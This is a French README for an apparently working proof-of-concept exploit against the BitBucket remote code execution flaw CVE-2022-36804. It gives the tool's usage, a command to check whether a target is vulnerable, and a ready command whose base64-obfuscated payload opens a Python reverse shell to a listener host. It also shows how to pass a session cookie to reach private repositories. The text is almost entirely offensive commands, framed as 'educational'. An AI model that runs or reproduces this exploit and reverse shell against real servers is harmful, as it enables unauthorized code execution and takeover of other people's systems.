
Un véritable exploit pour BitBucket RCE CVE-2022-36804
Ce dépôt contient un simple exploit de preuve de concept pour la vulnérabilité d'exécution de code à distance BitBucket (CVE-2022-36804). L'exploitation de cette vulnérabilité nécessite un accès à un dépôt sur l'instance cible ; si vous n'avez pas d'identifiants, la cible devra posséder des dépôts publics.
usage: exploit.py [-h] -p PROJECT -r REPO -u URL [-c COMMAND] [--proxy PROXY] [--session SESSION]
[--check]
Exploits the CVE-2022-36804 RCE in vulnerable BitBucket instances (< v8.3.1)
optional arguments:
-h, --help show this help message and exit
-p PROJECT, --project PROJECT
The name of the project the public repository resides in (E.g.
testproject)
-r REPO, --repo REPO The name of the public repository (E.g. testrepo)
-u URL, --url URL The URL of the BitBucket server (E.g. http://localhost:7990/)
-c COMMAND, --command COMMAND
The command to execute on the server (E.g. 'curl http://canary.domain/')
--proxy PROXY HTTP proxy to use for debugging (E.g. http://localhost:8080/)
--session SESSION The value of your 'BITBUCKETSESSIONID' cookie, required if your target
repo is private. (E.g. 3DD8B1EBA3763AD2611F4940BD870865)
--check Only perform a check to see if the instance is vulnerable
Pour vérifier si une instance est vulnérable, vous pouvez exécuter la commande suivante :
python3 exploit.py -p PROJECT -r REPO -u http://target.site/ --check
La commande ci-dessous peut être utilisée pour établir un reverse shell sur la victime (le payload base64 devra être mis à jour avec les détails de votre listener) :
python3 exploit.py -p PROJECT -r REPO -u http://localhost:7990/ -c "echo 'cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC42Ny4zIiw4ODg4KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7cHR5LnNwYXduKCIvYmluL3NoIikn' | base64 -d | bash |"
Cet exploit est destiné à des fins éducatives/de recherche. Je ne suis pas responsable de la façon dont il sera utilisé. Soyez sympa :)